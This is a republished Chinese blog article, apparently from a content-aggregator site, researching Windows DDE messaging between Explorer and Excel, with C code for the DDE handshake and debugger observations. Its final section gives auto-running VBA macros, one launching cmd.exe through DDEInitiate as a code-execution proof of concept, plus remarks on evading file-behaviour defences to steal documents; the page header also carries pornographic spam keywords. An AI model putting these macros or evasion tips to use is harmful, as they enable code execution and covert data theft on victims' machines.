日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

DDE通信研究

發布時間:2023/12/16 编程问答 30 豆豆
生活随笔 收集整理的這篇文章主要介紹了 DDE通信研究 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

作為一個安全研究人員來講,聽到最多關于DDE的東西可能就是office DDE 攻擊這種釣魚攻擊手法。

  • 為什么只有Office可以進行DDE攻擊?
  • 有哪些軟件默認支持DDE協議?
  • DDE還可以做什么?

DDE通信還有其他功能命令,如:動態修改Excel表格內容。

本文只針對雙擊桌面上的xls文件時,Explorer通過DDE將文件路徑傳給Excel的過程進行研究。

1)研究背景

大部分Office系列軟件如Excel、Word等程序默認支持基于Windows消息機制的DDE通信協議。使用DDE的程序,如Excel軟件在啟動時的命令行參數只有" /dde"

這樣Excel就會默認創建一個隱藏的窗口作為DDEServer,并等待接收用戶雙擊桌面xls文件時,DDE Client(Explorer.exe)發來的DDE消息。

2)DDE會話流程

一個程序既可以作為DDE服務器,也可以作為DDE客戶端,兩者通訊的標識是彼此的窗口句柄HWND。微軟建議每次建立會話都應該建立不同的窗口句柄。

第一步:建立會話,客戶端必須通過SendMessage廣播一條WM_DDE_INITIATE消息給所有窗口,來定位Excel的DDE Server。

如果lParam的LOWORD為NULL,任何DDEServer可以回復這個消息。DDE Server收到一個WM_DDE_INITIATE消息后,如果該消息的lParam的HIWORD為NULL,DDE Server為它支持的所有Topic都回復一個WM_DDE_ACK 消息。

SendMessage((HWND)HWND_BROADCAST, // 廣播消息給所有窗口 WM_DDE_INITIATE, // 初始化會話 (WPARAM)g_hHwnd, // 當前DDE Client的窗口句柄 MAKELONG(atomApplication, // application-name atom (Excel默認是"Excel") atomTopic)); // topic-name atom (Excel默認是"System")

服務端回復WM_DDE_INITIATE消息

DDE Server收到WM_DDE_INITIATE消息后,根據wParam中保存的DDE Client句柄回復消息。服務端必須回復一個WM_DDE_ACK消息,告訴客戶端,它收到了建立會話的申請!

回復WM_DDE_ACK消息時,將自己的窗口句柄,作為wParam參數回復給客戶端。至此會話建立完成,剩下的消息必須使用根據各種保存的對方窗口句柄,使用PostMessage來通訊

客戶端收到握手會話的回復后,在消息處理中保存DDE服務端的窗口句柄

case WM_DDE_ACK:{// 客戶端接收DDE服務器回復,保存DDEServer句柄,刪除lParam中的GlobalAtomHWND g_hServerHwnd = (HWND)wParam;} break;

第二步:發送命令,告訴Excel打開指定xls文件

// 發送命令給Excel// 服務器數據項內容 CONST wchar_t sCommand[] = L"[open(\"D:\\1.xlsx\" /ou \"\")]"; // 分配DDEDATA格式化的全局共享內存塊 HGLOBAL hCommand = GlobalAlloc(GMEM_MOVEABLE | GMEM_DDESHARE, sizeof(sCommand)); // 鎖定內存塊地址 LPWSTR lpCommand = (LPWSTR)GlobalLock(hCommand); // 填充數據項內容 wcscpy(lpCommand, (WCHAR*)sCommand); // 解鎖內存塊 GlobalUnlock(hCommand); // 獲取當前窗口的安全句柄 // 組合消息參數lParam LONG lDataPack = PackDDElParam(WM_DDE_EXECUTE, 0, (UINT)hCommand); // 發出遠程命令消息 PostMessage(g_hServerHwnd, WM_DDE_EXECUTE, (WPARAM)g_hHwnd, (LPARAM)lDataPack); // 釋放內存 GlobalFree(hCommand);

第三步: 結束會話 WM_DDE_TERMINATE

PostMessage(g_hServerHwnd, WM_DDE_TERMINATE, (WPARAM)g_hHwnd, 0);

3)分析Exploer和Excel的DDE通訊消息

3.1)觀察DDE消息通訊

通過Spy++可以查看Explorer和Excel通過DDE通訊的消息類型,打開Spy++,選擇Excel進程,消息選項中過濾DDE消息。

隨后雙擊桌面上的xls文件,可以觀察到Explorer發送給Excel的消息由一下3條,下面消息中第三列數據:R、S、P標志,具體含義可以參考Spy++手冊。

通過上面可以看到,Explorer給Excel發送了3條消息,分別是:

  • 建立會話WM_DDE_INITATE
  • 執行命令WM_DDE_EXECUTE
  • 結束會話WM_TERMINATE

其中要打開的xls文件路徑,就保存在WM_DDE_EXECUTE執行命令消息中,其消息具體格式,參考https://docs.microsoft.com/en-us/windows/win32/dataxchg/wm-dde-execute

3.2)觀察發送的命令格式

通過x64dbg調試Explorer,設置PackDDEParam函數斷點,命中后,可以查看Explorer發送的WM_DDE_EXECUTE消息的命令內容

4)補充

DDE已經被應用在IE、Adobe、Office、等軟件中,我們可以通過木馬程序給目標DDEServer發送消息來控制目標軟件的行為。

比如下面宏代碼給IE瀏覽器發送DDE消息,可以控制它訪問指定網頁

Sub AutoOpen() On Error GoTo MyErr lngChannel = DDEInitiate(App:="IExplore", Topic:="WWW_OpenURL") DDEExecute Channel:=lngChannel, Command:="www.qq.com" DDETerminate Channel:=lngChannel MyErr: End Sub

甚至可以使用DDE消息讀取、修改指定office文檔內容,由于是基于windows消息以及共享內存交互數據,這樣不會觸發任何讀取文件的行為,可以規避安全軟件的文件行為防御,可用于高級定向攻擊,竊取指定敏感文件內容的APT木馬中。

下面來說說為什么DDE攻擊只被用到了office中,經過逆向分析,原來Office系列在向外發送DDEInitiate消息的時候,如果目標DDE Server進程不存在,則會嘗試創建這個進程。

Sub AutoOpen() On Error GoTo MyErr lngChannel = DDEInitiate(App:="c:\\Windows\\system32\\cmd.exe", Topic:="/c calc") MyErr: End Sub

但是Office軟件也會給用戶對應的彈窗提示,這個提示中的路徑很明顯,這個也有辦法繞過,繞過方法可以參考我這篇文章:https://blog.csdn.net/cssxn/article/details/91867028

5)參考資料

  • https://docs.microsoft.com/en-us/windows/win32/dataxchg/using-dynamic-data-exchange
  • https://www.cnblogs.com/organic/p/9175276.html
  • https://blog.csdn.net/u012252959/article/details/49590827
  • https://docs.microsoft.com/en-us/office/vba/api/word.application.ddeinitiate

總結

以上是生活随笔為你收集整理的DDE通信研究的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。